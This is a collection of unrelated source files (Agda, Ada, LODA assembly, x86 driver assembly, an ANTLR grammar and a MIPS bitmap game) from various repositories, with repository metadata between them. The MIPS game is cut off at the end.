simpSame | simpSame = simpSame simpEq? (S ⊃ T) (.S ⊃ .(T ∖ T')) | simpSame | simpDiff T' = simpDiff (neqT T') simpEq? (S ⊃ T₁) (.(S ∖ S') ⊃ T₂) | simpDiff S' = simpDiff (neqS S' T₂) data Term : Nat -> Set where var : {n : Nat} -> Fin n -> Term n app : {n : Nat} -> Term n -> Term n -> Term n lam : {n : Nat} -> Simp -> Term (suc n) -> Term n data Good : {n : Nat} -> Vect Simp n -> Simp -> Set where gVar : {n m : Nat}(Γ : Vect Simp n)(T : Simp)(Δ : Vect Simp m) -> Good (Γ :: T ++ Δ) T gApp : {n : Nat}{Γ : Vect Simp n}{S T : Simp} -> Good Γ (S ⊃ T) -> Good Γ S -> Good Γ T gLam : {n : Nat}{Γ : Vect Simp n}(S : Simp){T : Simp} -> Good (Γ :: S) T -> Good Γ (S ⊃ T) g : {n : Nat}{Γ : Vect Simp n}(T : Simp) -> Good Γ T -> Term n g T (gVar{n}{m} Γ .T Δ) = var (fs^ m f0) g T (gApp f s) = app (g _ f) (g _ s) g .(S ⊃ _) (gLam S t) = lam S (g _ t) data Bad {n : Nat}(Γ : Vect Simp n) : Set where bNonFun : Good Γ o -> Term n -> Bad Γ bMismatch : {S T : Simp}(S' : Simp- S) -> Good Γ (S ⊃ T) -> Good Γ (S ∖ S') -> Bad Γ bArg : {S T : Simp} -> Good Γ (S ⊃ T) -> Bad Γ -> Bad Γ bFun : Bad Γ -> Term n -> Bad Γ bLam : (S : Simp) -> Bad (Γ :: S) -> Bad Γ b : {n : Nat}{Γ : Vect Simp n} -> Bad Γ -> Term n b (bNonFun f s) = app (g o f) s b (bMismatch _ f s) = app (g _ f) (g _ s) b (bArg f s) = app (g _ f) (b s) b (bFun f s) = app (b f) s b (bLam S t) = lam S (b t) data TypeCheck? {n : Nat}(Γ : Vect Simp n) : Term n -> Set where good : (T : Simp)(t : Good Γ T) -> TypeCheck? Γ (g T t) bad : (t : Bad Γ) -> TypeCheck? Γ (b t) typeCheck? : {n : Nat}(Γ : Vect Simp n)(t : Term n) -> TypeCheck? Γ t typeCheck? Γ (var i) with chop Γ i typeCheck? .(Γ :: T ++ Δ) (var ._) | chopGlue Γ T Δ = good T (gVar Γ T Δ) typeCheck? Γ (app f s) with typeCheck? Γ f typeCheck? Γ (app .(g (S ⊃ T) f) s) | good (S ⊃ T) f with typeCheck? Γ s typeCheck? Γ (app .(g (S ⊃ T) f) .(g S' s)) | good (S ⊃ T) f | good S' s with simpEq? S S' typeCheck? Γ (app .(g (S ⊃ T) f) .(g S s)) | good (S ⊃ T) f | good .S s | simpSame = good T (gApp f s) typeCheck? Γ (app .(g (S ⊃ T) f) .(g (S ∖ S') s)) | good (S ⊃ T) f | good .(S ∖ S') s | simpDiff S' = bad (bMismatch S' f s) typeCheck? Γ (app .(g (S ⊃ T) f) .(b s)) | good (S ⊃ T) f | bad s = bad (bArg f s) typeCheck? Γ (app .(g o f) s) | good o f = bad (bNonFun f s) typeCheck? Γ (app .(b f) s) | bad f = bad (bFun f s) typeCheck? Γ (lam S t) with typeCheck? (Γ :: S) t typeCheck? Γ (lam S .(g T t)) | good T t = good (S ⊃ T) (gLam S t) typeCheck? Γ (lam S .(b t)) | bad t = bad (bLam S t)
out/aaa_11arrayconst.adb
FardaleM/metalang
22
8278
<gh_stars>10-100 with ada.text_io, ada.Integer_text_IO, Ada.Text_IO.Text_Streams, Ada.Strings.Fixed, Interfaces.C; use ada.text_io, ada.Integer_text_IO, Ada.Strings, Ada.Strings.Fixed, Interfaces.C; procedure aaa_11arrayconst is type stringptr is access all char_array; procedure PString(s : stringptr) is begin String'Write (Text_Streams.Stream (Current_Output), To_Ada(s.all)); end; procedure PInt(i : in Integer) is begin String'Write (Text_Streams.Stream (Current_Output), Trim(Integer'Image(i), Left)); end; type a is Array (Integer range <>) of Integer; type a_PTR is access a; procedure test(tab : in a_PTR; len : in Integer) is begin for i in integer range 0..len - 1 loop PInt(tab(i)); PString(new char_array'( To_C(" "))); end loop; PString(new char_array'( To_C("" & Character'Val(10)))); end; t : a_PTR; begin t := new a (0..4); for i in integer range 0..4 loop t(i) := 1; end loop; test(t, 5); end;
programs/oeis/208/A208901.asm
neoneye/loda
22
243976
; A208901: Number of bitstrings of length n (with at least two runs) where the last two runs have different lengths. ; 0,0,4,8,24,48,112,224,480,960,1984,3968,8064,16128,32512,65024,130560,261120,523264,1046528,2095104,4190208,8384512,16769024,33546240,67092480,134201344,268402688,536838144,1073676288,2147418112,4294836224,8589803520,17179607040,34359476224,68718952448,137438429184,274876858368,549754765312,1099509530624,2199021158400,4398042316800,8796088827904,17592177655808,35184363700224,70368727400448,140737471578112,281474943156224,562949919866880,1125899839733760,2251799746576384,4503599493152768,9007199120523264,18014398241046528,36028796750528512,72057593501057024,144115187538984960,288230375077969920,576460751229681664,1152921502459363328,2305843007066210304,4611686014132420608,9223372032559808512,18446744065119617024,36893488138829168640,73786976277658337280,147573952572496543744,295147905144993087488,590295810324345913344,1180591620648691826688,2361183241366103130112,4722366482732206260224,9444732965601851473920,18889465931203702947840,37778931862682283802624,75557863725364567605248,151115727451278891024384,302231454902557782048768,604462909806215075725312,1208925819612430151450624,2417851639227059326156800,4835703278454118652313600,9671406556912635351138304,19342813113825270702276608,38685626227659337497575424,77371252455318674995150848,154742504910654942176346112,309485009821309884352692224,618970019642654953077473280,1237940039285309906154946560,2475880078570690181054070784,4951760157141380362108141568,9903520314282901461704638464,19807040628565802923409276928,39614081257131887321795264512,79228162514263774643590529024,158456325028528112237134479360,316912650057056224474268958720,633825300114113574848444760064,1267650600228227149696889520128 seq $0,297619 ; a(n) = 2*a(n-1) + 2*a(n-2) - 4*a(n-3), a(1) = 0, a(2) = 0, a(3) = 8. div $0,2
src/notcurses.ads
JeremyGrosser/notcursesada
5
249
<filename>src/notcurses.ads<gh_stars>1-10 -- -- Copyright 2021 (C) <NAME> <<EMAIL>> -- -- SPDX-License-Identifier: Apache-2.0 -- with Ada.Unchecked_Conversion; with Interfaces; with Interfaces.C.Strings; with Interfaces.C_Streams; with Interfaces.C; with Notcurses_Thin; package Notcurses is type Notcurses_Context is private; type Notcurses_Plane is private; type Notcurses_Input is record Id : Wide_Wide_Character; Y : Interfaces.C.int; X : Interfaces.C.int; Alt : Boolean; Shift : Boolean; Ctrl : Boolean; Seqnum : Interfaces.Unsigned_64; end record; type Coordinate is record Y, X : Integer; end record; function "+" (Left, Right : Coordinate) return Coordinate; function "-" (Left, Right : Coordinate) return Coordinate; Notcurses_Error : exception; function Version return String; private package Thin renames Notcurses_Thin; type Notcurses_Context is access all Thin.notcurses; type Notcurses_Plane is access all Thin.ncplane; Default_Options : aliased Thin.notcurses_options := (termtype => Interfaces.C.Strings.Null_Ptr, renderfp => Interfaces.C_Streams.NULL_Stream, loglevel => Thin.NCLOGLEVEL_ERROR, flags => 0, others => 0); Default_Context : Notcurses_Context := null; function To_Ada is new Ada.Unchecked_Conversion (Source => Thin.ncinput, Target => Notcurses_Input); function To_C is new Ada.Unchecked_Conversion (Source => Notcurses_Input, Target => Thin.ncinput); end Notcurses;
source/server/ada_lsp-handlers.adb
reznikmm/ada_lsp
11
8197
-- Copyright (c) 2017 <NAME> <<EMAIL>> -- -- SPDX-License-Identifier: MIT -- License-Filename: LICENSE ------------------------------------------------------------- with League.Strings; with LSP.Types; with Ada_LSP.Completions; with Ada_LSP.Documents; package body Ada_LSP.Handlers is function "+" (Text : Wide_Wide_String) return League.Strings.Universal_String renames League.Strings.To_Universal_String; ----------------------- -- Exit_Notification -- ----------------------- overriding procedure Exit_Notification (Self : access Message_Handler) is begin Self.Server.Stop; end Exit_Notification; ------------------------ -- Initialize_Request -- ------------------------ overriding procedure Initialize_Request (Self : access Message_Handler; Value : LSP.Messages.InitializeParams; Response : in out LSP.Messages.Initialize_Response) is Root : League.Strings.Universal_String; Completion_Characters : LSP.Types.LSP_String_Vector; begin Completion_Characters.Append (+"'"); Response.result.capabilities.completionProvider := (Is_Set => True, Value => (resolveProvider => LSP.Types.Optional_False, triggerCharacters => Completion_Characters)); Response.result.capabilities.documentSymbolProvider := LSP.Types.Optional_True; Response.result.capabilities.textDocumentSync := (Is_Set => True, Is_Number => True, Value => LSP.Messages.Incremental); if not Value.rootUri.Is_Empty then Root := Value.rootUri.Tail_From (8); elsif not Value.rootPath.Is_Empty then Root := Value.rootPath; Root.Prepend ("file://"); end if; Self.Context.Initialize (Root); end Initialize_Request; -------------------------------------- -- Text_Document_Completion_Request -- -------------------------------------- overriding procedure Text_Document_Completion_Request (Self : access Message_Handler; Value : LSP.Messages.TextDocumentPositionParams; Response : in out LSP.Messages.Completion_Response) is Document : constant Ada_LSP.Documents.Document_Access := Self.Context.Get_Document (Value.textDocument.uri); Context : Ada_LSP.Completions.Context; begin Document.Get_Completion_Context (Value.position, Context); Self.Context.Fill_Completions (Context, Response.result); end Text_Document_Completion_Request; ------------------------------ -- Text_Document_Did_Change -- ------------------------------ overriding procedure Text_Document_Did_Change (Self : access Message_Handler; Value : LSP.Messages.DidChangeTextDocumentParams) is Document : constant Ada_LSP.Documents.Document_Access := Self.Context.Get_Document (Value.textDocument.uri); Note : LSP.Messages.PublishDiagnostics_Notification; begin Document.Apply_Changes (Value.contentChanges); Self.Context.Update_Document (Document); Document.Get_Errors (Note.params.diagnostics); Note.method := +"textDocument/publishDiagnostics"; Note.params.uri := Value.textDocument.uri; Self.Server.Send_Notification (Note); end Text_Document_Did_Change; ---------------------------- -- Text_Document_Did_Open -- ---------------------------- overriding procedure Text_Document_Did_Open (Self : access Message_Handler; Value : LSP.Messages.DidOpenTextDocumentParams) is begin Self.Context.Load_Document (Value.textDocument); end Text_Document_Did_Open; ---------------------------------- -- Text_Document_Symbol_Request -- ---------------------------------- overriding procedure Text_Document_Symbol_Request (Self : access Message_Handler; Value : LSP.Messages.DocumentSymbolParams; Response : in out LSP.Messages.Symbol_Response) is Document : constant Ada_LSP.Documents.Document_Access := Self.Context.Get_Document (Value.textDocument.uri); begin Document.Get_Symbols (Response.result); end Text_Document_Symbol_Request; end Ada_LSP.Handlers;
oeis/335/A335612.asm
neoneye/loda-programs
11
162062
; A335612: Number of sets (in the Hausdorff metric geometry) at each location between two sets defined by a complete bipartite graph K(3,n) (with n at least 3) missing two edges, where the removed edges are incident to the same vertex in the three point part. ; Submitted by <NAME> ; 32,344,2792,20720,148592,1050824,7387832,51811040,362965952,2541627704,17793992072,124565738960,871983556112,6103955042984,42727895751512,299095901612480,2093673205343072,14655718119568664,102590043883482152 lpb $0 sub $0,1 mul $1,3 add $1,4 mul $2,7 add $2,9 add $1,$2 lpe mov $0,$1 mul $0,24 add $0,32
45/beef/drv/csd/src/vectra.asm
minblock/msdos
0
168793
;* ;* CW : Character Windows Drivers ;* ;* Vectra.asm : HP Vectra CSD ;* ;***************************************************************************** include csd_head.inc include csd_data.inc ;***************************************************************************** include csd_code.asm ;* first part of code ;* * Display modes table rgdm: ;* #0 - standard color mode DB 0ffh ;* any DB 0ffh ;* any DB 3 ;* mode DW finstText ;* flags DB 80, 25 ;* screen size DB 16 ;* coMac DB 8, 8, 0, 0 ;* INFT DW 0B800H ;* video address DW 0607H ;* cursor DW 0 ;* reserved Assert <($-rgdm) EQ SIZE DM> ;* #1 - 25 line Graphics text mode (mono) DB 0ffh ;* any DB 0ffh ;* any DB 5 ;* mode DW finstGraphics OR finstFont OR finstMonoChrome or finstFastScroll ;* flags DB 80, 25 ;* screen size DB 2 ;* coMac DB 8, 16, 0, 0 ;* INFT DW 0 ;* video address DW 0E0FH ;* cursor DW 0 ;* reserved ;* #2 - 50 line Graphics text mode (mono) DB 0ffh ;* any DB 0ffh ;* any DB 5 ;* mode DW finstGraphics OR finstFont OR finstMonoChrome or finstFastScroll ;* flags DB 80, 50 ;* screen size DB 2 ;* coMac DB 8, 8, 0, 0 ;* INFT DW 0 ;* video address DW 0607H ;* cursor DW 0 ;* reserved cdmMax equ ($ - rgdm) / (size DM) ;* # of modes ;***************************************************************************** ;* * Special routines NonStandard ModeGetCur NonStandard FInitCsd ;***************************************************************************** ;********** ModeGetCur ********* ;* entry: n/a ;* * get current machine mode ;* exit: al = mode, ah = ayMac (or 0 if unknown) cProc ModeGetCur, <NEAR, PUBLIC, ATOMIC>, <ES> cBegin ModeGetCur mov ax,40H mov es,ax mov dl,es:[0084H] ;* read BIOS rows inc dl ;* dl = screen height cmp dl,25 ;do this since some clones don't je @F ;update BIOS data cmp dl,50 je @F mov dl,25 ;* default to 25 rows @@: push bx mov ah,0fh int 10h ;* get current state, return al = mode and al,7Fh ;* mask off clear video buffer bit. pop bx cmp al,3 ;text mode ? je @F mov al,5 ;set graphics mode @@: mov ah,dl cEnd ModeGetCur ;********** FInitCsd ********** ;* * CSD entry point (see documentation for interface) ;* * Initialize the screen to the given mode ;* exit: AX != 0 if ok cProc FInitCsd, <FAR, PUBLIC, ATOMIC>, <DI> parmDP pinst parmDP pinch cBegin FInitCsd mov di,OFF_lpwDataCsd ;* Data in data segment ;* * set mode mov bx,pinst mov [di].pinstDrv,bx mov bx,ds:[bx].pdmInst ;* CS:BX => DM info ;* * copy mode info into driver globals mov ax,cs:[bx].vparmCursOnDm mov [di].vparmCursOn,ax mov [di].vparmCursSize,ax mov ax,cs:[bx].wExtraDm mov [di].wExtra,ax cCall ModeGetCur ;* al = mode, ah = ayMac mov cx,40H mov es,cx mov cl,cs:[bx].ayMacDm dec cl ; rows - 1 mov byte ptr es:[0084H],cl ;* update BIOS rows test cs:[bx].finstDm,finstGraphics jz InitText xor ch,ch mov cl,cs:[bx].dyCharDm mov [di].ayBox,cx ;* points cmp cx,8 je @F mov [di].SEG_lpbFont,cs ;8x16 font mov [di].OFF_lpbFont,drvOffset rgbVectFont8x16 jmp short font1 @@: mov [di].SEG_lpbFont,0F000h ;8x8 font (first 128) mov [di].OFF_lpbFont,0FA6Eh font1: mov ax,6F05h ;* set mode mov bl,0Dh int 10h jmp short InitDone InitText: cmp al,cs:[bx].modeDm je @F ;* don't reset mov al,cs:[bx].modeDm xor ah,ah ;* set mode int 10h ;* set mode @@: ;* * the INCH array already contains the standard Code Page 437 ;* * character set, so it usually can be left the same. ;* * Do other diddling cCall DiddleBlinkBit InitDone: mov ax,sp ;* success cEnd FInitCsd ;***************************************************************************** VECTRACSD = 1 include update2.asm include vect8x16.inc ;* hard code font table ;***************************************************************************** include csd_std.asm ;* standard init/term include csd_ibm.asm ;* IBM specific routines ;***************************************************************************** include csd_vram.asm ;* default procs for direct video I/O include csd_save.asm ;* default screen save (none) ;***************************************************************************** include csd_tail.asm ;* tail file ;***************************************************************************** END 
src/Fragment/Equational/Theory/Combinators.agda
yallop/agda-fragment
18
842
<reponame>yallop/agda-fragment<gh_stars>10-100 {-# OPTIONS --without-K --exact-split --safe #-} open import Fragment.Equational.Theory.Base module Fragment.Equational.Theory.Combinators (Θ : Theory) where open import Fragment.Algebra.Signature open import Fragment.Algebra.Properties open import Fragment.Equational.Model using (Model; IsModel; Models) open import Fragment.Equational.Model.Satisfaction open import Level using (Level) open import Function using (_∘_) open import Data.Nat using (ℕ) private variable a ℓ : Level {- forgetₒ' : ∀ {O} → Model (Θ ⦅ O ⦆ₒ) {a} {ℓ} → Model Θ {a} {ℓ} forgetₒ' {O = O} A = record { ∥_∥/≈ = ∥ A ∥/≈ ; isModel = forget-isModel } where open import Fragment.Equational.Model (Θ ⦅ O ⦆ₒ) using (∥_∥/≈; ∥_∥ₐ; ∥_∥ₐ-models) open import Fragment.Algebra.Algebra (Σ Θ) using (∥_∥/≈-isAlgebra) forget-⊨ : ∀ {θ eq} → ∥ A ∥ₐ ⊨⟨ θ ⟩ ((Θ ⦅ O ⦆ₒ) ⟦ {!oldₑ!} ⟧ₑ) → forgetₒ ∥ A ∥ₐ ⊨⟨ θ ⟩ (Θ ⟦ eq ⟧ₑ) forget-⊨ = {!!} forget-models : Models Θ (forgetₒ ∥ A ∥ₐ) forget-models eq θ = {!!} forget-isModel : IsModel Θ ∥ A ∥/≈ forget-isModel = record { isAlgebra = ∥ (forgetₒ ∥ A ∥ₐ) ∥/≈-isAlgebra ; models = forget-models } forgetₑ : ∀ {O E} → {X : ∀ {n} → E n → Eq ((Σ Θ) ⦅ O ⦆) n} → Model (Θ ⦅ O ∣ E / X ⦆) {a} {ℓ} → Model Θ {a} {ℓ} forgetₑ {O = O} {E} {X} A = record { ∥_∥/≈ = {!!} ; isModel = {!!} } -} data HomOp : ℕ → Set where h : HomOp 1 data HomEq : ℕ → Set where hom : ∀ {n} → ops (Σ Θ) n → HomEq n AddHom : Theory AddHom = Θ ⦅ HomOp ∣ HomEq / hom' ⦆ where import Fragment.Equational.Theory.Laws ((Σ Θ) ⦅ HomOp ⦆) as L hom' : ∀ {arity} → HomEq arity → Eq ((Σ Θ) ⦅ HomOp ⦆) arity hom' (hom f) = L.hom (newₒ h) (oldₒ f) data IdOp : ℕ → Set where α : IdOp 0 data IdEq : ℕ → Set where idₗ : IdEq 1 idᵣ : IdEq 1 AddId : ops (Σ Θ) 2 → Theory AddId • = Θ ⦅ IdOp ∣ IdEq / id ⦆ where import Fragment.Equational.Theory.Laws ((Σ Θ) ⦅ IdOp ⦆) as L id : ∀ {arity} → IdEq arity → Eq ((Σ Θ) ⦅ IdOp ⦆) arity id idₗ = L.idₗ (newₒ α) (oldₒ •) id idᵣ = L.idᵣ (newₒ α) (oldₒ •) data AnOp : ℕ → Set where ω : AnOp 0 data AnEq : ℕ → Set where anₗ : AnEq 1 anᵣ : AnEq 1 AddAn : ops (Σ Θ) 2 → Theory AddAn • = Θ ⦅ AnOp ∣ AnEq / an ⦆ where import Fragment.Equational.Theory.Laws ((Σ Θ) ⦅ AnOp ⦆) as L an : ∀ {arity} → AnEq arity → Eq ((Σ Θ) ⦅ AnOp ⦆) arity an anₗ = L.anₗ (newₒ ω) (oldₒ •) an anᵣ = L.anᵣ (newₒ ω) (oldₒ •)
Experiment/Ord.agda
rei1024/agda-misc
3
10879
<reponame>rei1024/agda-misc<gh_stars>1-10 -- "Ordinal notations via simultaneous definitions" module Experiment.Ord where open import Level renaming (zero to lzero; suc to lsuc) open import Relation.Binary open import Relation.Binary.PropositionalEquality open import Data.Sum data Ord : Set data _<_ : Rel Ord lzero _≥_ : Rel Ord lzero fst : Ord → Ord data Ord where 𝟎 : Ord ω^_+_[_] : (a b : Ord) → a ≥ fst b → Ord data _<_ where <₁ : {a : Ord} → a ≢ 𝟎 → 𝟎 < a <₂ : {a b c d : Ord} (r : a ≥ fst c) (s : b ≥ fst d) → a < b → ω^ a + c [ r ] < ω^ b + d [ s ] <₃ : {a b c : Ord} → (r : a ≥ fst b) (s : a ≥ fst c) → b < c → ω^ a + b [ r ] < ω^ a + c [ s ] fst 𝟎 = 𝟎 fst (ω^ α + _ [ _ ]) = α a ≥ b = (b < a) ⊎ (a ≡ b) _+_ : Ord → Ord → Ord 𝟎 + b = b a@(ω^ _ + _ [ _ ]) + 𝟎 = a ω^ a + c [ r ] + ω^ b + d [ s ] = {! !} _*_ : Ord → Ord → Ord a * b = {! !}
core/src/main/antlr4/FieldPath.g4
kcheng-mr/ojai
0
4926
grammar FieldPath; options { language=Java; } @header { /** * Copyright (c) 2015 MapR, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.ojai; import org.ojai.FieldPath; import org.ojai.FieldSegment; import org.ojai.FieldSegment.IndexSegment; import org.ojai.FieldSegment.NameSegment; } /** * Parser rules */ parse returns [FieldPath e] : fieldSegment {$e = new FieldPath($fieldSegment.seg); } ; fieldSegment returns [NameSegment seg] : s1 = nameSegment {$seg = $s1.seg;} ; nameSegment returns [NameSegment seg] : QuotedIdentifier ((Period s1=fieldSegment) | s2=indexSegment)? { $seg = new NameSegment( $QuotedIdentifier.text.substring(1, $QuotedIdentifier.text.length()-1).replaceAll("\\\\(.)", "$1"), ($s1.start == null ? ($s2.start == null ? null : $s2.seg) : $s1.seg) , true); } | Identifier ((Period s1=fieldSegment) | s2=indexSegment)? { $seg = new NameSegment($Identifier.text, ($s1.start == null ? ($s2.start == null ? null : $s2.seg) : $s1.seg) , false); } | Integer ((Period s1=fieldSegment) | s2=indexSegment)? { $seg = new NameSegment($Integer.text, ($s1.start == null ? ($s2.start == null ? null : $s2.seg) : $s1.seg) , false); } ; indexSegment returns [FieldSegment seg] : OBracket Integer? CBracket ((Period s1=fieldSegment) | s2=indexSegment)? { $seg = new IndexSegment($Integer.text, ($s1.start == null ? ($s2.start == null ? null : $s2.seg) : $s1.seg) ); } ; /** * Lexer rules */ Period : '.'; OBracket : '['; CBracket : ']'; SingleQuote: '\''; Space : (' ' | '\t' | '\r' | '\n' | '\u000C') {skip();} ; Integer : Digit+ ; Identifier : ('a'..'z' | 'A'..'Z' | '_' | '-' | '$' | ' ' | Digit)+ ; QuotedIdentifier : '`' (~('`' | '\\') | '\\' ('\\' | '`'))+ '`' ; fragment Digit : '0'..'9' ; ErrorChar : . ;
tests/typing/bad/testfile-record-1.adb
xuedong/mini-ada
0
21458
with Ada.Text_IO; use Ada.Text_IO; procedure Test is type t is record a, a: integer; end record; begin new_line; end;
Galaga on FPGA/MIPS port/SimpleGame_01.asm
Interestle/Misc
0
8064
<reponame>Interestle/Misc .data ### Bitmap Display ### # There are 2048 pixels that are each a word in length, # but expects a 24-bit color value. # There are 32 columns and 64 rows. # # Settings to use: (small display) (big display) # Unit Width in Pixels: 8 (16) # Unit Height in Pixels: 8 (16) # Display Width in Pixels: 256 (512) # Display Height in Pixels: 512 (1024) # Base address for display: 0x10010000 (static data) frameBuffer: .space 0x2000 # 2048 words = 8192 bytes ### Hex colors ### purple: .word 0x32174d # Russian violet blue: .word 0x0000FF navy: .word 0x000080 steel: .word 0x4b5f81 black: .word 0x000000 white: .word 0xFFFFFF silver: .word 0xC0C0C0 yellow: .word 0xFFFF00 ### Flowers ### flowers: .space 40 # 10 flowers. A flower has a pixel location. (Non-adjusted) ### Player ### # How to decompose player position: # rowIndex * numberOfColumns + columnIndex playerPos: .word 1936 # Default Player Position: 60 * 32 + 16 ### Player Bullets ### # Probably want a way to shoot multiple bullets at a time, but this currently works. bulletPos: .space 8 # Shoot a single bullet. The first word represents if a bullet exists. The second word is the position. .text # Procedure where execution begins. # It does initial execution, and controls the game loop. Main: jal GenerateFlowers addi $s0, $0, 0 # frame counter addi $s1, $0, 1000 # max number of frames # Given basic generation, this procdure is where the main loop of the game exists. # The loop only runs for so many frames GameLoop: ############################################################################################ # NOT what you want to do for a game, but this is a simple way to make frames # # and control the speed of the program. Relies on Java's sleep method, so it has overhead! # # Sleep for sbout 50 milliseconds # addi $a0, $0, 50 # addi $v0, $0, 32 # syscall # ############################################################################################ # Update logic for everything. addi $s0, $s0, 1 jal Update # Draw everything jal Draw # Only update/draw so many frames for right now. # (It's so I can let the program end naturally without having to interrupt it if I forget about it.) bne $s0, $s1, GameLoop j Exit # Routine that updates all data. Update: addi $sp, $sp, -4 sw $ra, 0($sp) jal GetInput move $a0, $v0 jal UpdateBullets # Bullet Control. Only create bullets with proper input. bne $a0, 0x1000, noShoot jal CreateBullet noShoot: # Player Control jal UpdatePlayer # Background Control jal UpdateFlowers lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra # Routine that draws all objects. Draw: addi $sp, $sp, -4 sw $ra 0($sp) # Draw the background lw $a0, purple jal DrawBackground # Draw the flowers. lw $a0, steel jal DrawFlowers # Draw the Player. jal DrawPlayer jal DrawBullets lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra ### Generation / Creation Procedures ### # Creates 10 words representing pixel location of flowers. # Affects $v0, $a0, $a1, $t0 GenerateFlowers: addi $t0, $0, 0 GFLoop: # Generate a location for the flower (randomly) addi $v0, $0, 42 addi $a1, $0, 2048 syscall # Put pixel location into array. sw $a0, flowers($t0) addi $t0, $t0, 4 bne $t0, 40, GFLoop jr $ra # Creates a bullet. If a bullet already exists, don't make another. CreateBullet: la $t0, bulletPos lw $t1, playerPos lw $t2, 0($t0) # If there is already a bullet bne $t2, $0, cNoBullet # Don't create another. addi $t2, $0, 0x1 sw $t2, 0($t0) addi $t1, $t1, -32 # Create bullet one pixel above user sw $t1, 4($t0) # Save position. cNoBullet: jr $ra ##### Update Procedures ##### # Gets user's input and stores the value into $v0. # Do not hold a button for too long, and do not hold multiple buttons down! # In our project, we will do MMIO differently so that isn't a problem, instead, # we'll have an 8-bit value representing which buttons are held down. # Affects registers $v0, $t1, $t2, $t3 GetInput: addi $v0, $0, 0 # if zero, user isn't inputting something, or input something invalid. # Make sure we can grab something lui $t1, 0xFFFF lw $t2, 0($t1) # Receiver Control is at 0xffff0000 -> if the value is one, new data is in andi $t2, $t2, 0x1 # if(!in_value) beqz $t2, inputDone # return 0; # User has put in something. Sadly, MIPS only allows for one input at a time. Very limiting! # Do not hold a button down for too long, and do not hold multiple buttons, MIPS will crash and burn! lw $t2, 4($t1) # Receiver Data is at 0xffff0004 # Could be more optimized, but let's try this first. beq $t2, 0x77, goUp # w beq $t2, 0x61, goLeft # a beq $t2, 0x73, goDown # s beq $t2, 0x64, goRight # d beq $t2, 0x20, fireBullet # space bar # Not a valid input, don't do anything j inputDone goUp: addi $v0, $0, -32 j inputDone goLeft: addi $v0, $0, -1 j inputDone goRight: addi $v0, $0, 1 j inputDone goDown: addi $v0, $0, 32 j inputDone fireBullet: addi $v0, $0, 0x1000 # 4096, something way outside of the the range of movement. #jal CreateBullet # I don't want to do this. GetInput should only get input, nothing more. #j inputDone # Last instructions don't need a jump, uncomment if more functionality is added inputDone: jr $ra # Update the player's position. # Parameters: $a0: The offset for next movement. # Only accepts moving up, down, left, right by one pixel. # Affects: $a0, $t0, $t1, $t2, UpdatePlayer: #addi $sp, $sp, -4 #sw $ra 0($sp) lw $t0, playerPos beq $a0, $0, updatePos # if(!dp) return 0; add $t1, $t0, $a0 # Next position = current position + dp beq $a0, -32, moveUp beq $a0, -1, moveLeft beq $a0, 1, moveRight beq $a0, 32, moveDown j updatePos # no valid movement, don't go anywhere, skip everything else moveUp: # Top wall is from 0 to 31. To prevent silly errors, only allows player to go to second row. blt $t1, 32, updatePos # if(next_pos < 0) return current_pos; move $t0, $t1 j updatePos moveLeft: # Left walls occur on: 0, 32, 64, ... andi $t2, $t0, 0x1F # if(current_pos % 32) current_pos = next_pos; beq $t2, $0, updatePos # else current_pos = current_pos; move $t0, $t1 j updatePos moveDown: # Bottom wall is from 2016 to 2047, anything greater is too far. # Only go to second-to-last row to prevent silly errors. You don't need to buckle against the bottom row. addi $t2, $0, 2015 bgt $t1, $t2, updatePos move $t0, $t1 j updatePos moveRight: # Right walls occur on: 31, 63, 95, ... andi $t2, $t1, 0x1F # if(next_pos % 32) current_pos = next_pos; beq $t2, $0, updatePos # else current_pos = current_pos; move $t0, $t1 updatePos: sw $t0, playerPos #lw $ra 0($sp) #addi $sp, $sp, 4 jr $ra # Updates the position of the bullet. Can only do one bullet right now. UpdateBullets: la $t0, bulletPos lw $t1, 0($t0) beq $t1, $0, uNoBullets # There are bullets, update them. lw $t1, 4($t0) # Get only the position. addi $t1, $t1, -64 # Go up two pixels # if bullet has gone too far, delete it. bgt $t1, $0, bulletFits and $t1, $0, $0 sw $t1, 0($t0) bulletFits: sw $t1, 4($t0) uNoBullets: jr $ra # Update flower positions. # Parameters: None. # Affects: $t0, $t1, $v0, $a0, $a1 UpdateFlowers: addi $t0, $0, 0 uFLoop: # Get Flower. lw $t1, flowers($t0) # Move it down one and right one. addi $t1, $t1, 65 # If it still fits, put it back into array, otherwise give the flower a new location. blt $t1, 2048, uFOkay addi $v0, $0, 42 # random int from 0 - 32 addi $a1, $0, 32 syscall move $t1, $a0 uFOkay: sw $t1, flowers($t0) addi $t0, $t0, 4 bne $t0, 40, uFLoop jr $ra ##### Draw Procedures ##### # Draws the bullet yellow. DrawBullets: la $t0, bulletPos lw $t1, 0($t0) beq $t1, $0, dNoBullets lw $t1, 4($t0) sll $t1, $t1, 2 lw $t2, yellow # Just do a lui $t2, 0x00FFFF sw $t2, frameBuffer($t1) dNoBullets: jr $ra # Draws the Player. # Affects $t0, $t1, $t2 DrawPlayer: # Get player position and adjust for display. lw $t3, playerPos # $t3 will hold Player's Position sll $t0, $t3, 2 # $t0 will hold position, adjusted for screen. # Draw them on screen. lw $t1, black sw $t1, frameBuffer($t0) # Draw other squares white for easy visibility. lw $t1, white # Draw white pixels next to player to make a simple character design. # Obviously make glyphs and things for actual assignment. # Don't worry about checking bottom/top since update procedure prevents that. # Draw up square addi $t2, $t0, -128 sw $t1, frameBuffer($t2) # Draw down square addi $t2, $t0, 128 sw $t1, frameBuffer($t2) # Draw left square - Check for boundary andi $t4, $t3, 0x1F # if(Player is on left edge) beq $t4, $0, skipLeft # skip drawing left square addi $t2, $t0, -4 sw $t1, frameBuffer($t2) skipLeft: # Draw right square - Check for boundary addi $t4, $t3, 1 andi $t4, $t4, 0x1F # if(Player is on right edge) beq $t4, $0, skipRight # skip drawing right square addi $t2, $t0, 4 sw $t1, frameBuffer($t2) skipRight: jr $ra # Draws the flowers on the screen. # Parameters: 24-bit color for flowers, store in $a0 DrawFlowers: move $t0, $a0 addi $t1, $0, 0 DFLoop: # Get flower location. lw $t2, flowers($t1) # Write color to location. # Compute offset. sll $t2, $t2, 2 # update location. sw $t0, frameBuffer($t2) addi $t1, $t1, 4 bne $t1, 40, DFLoop jr 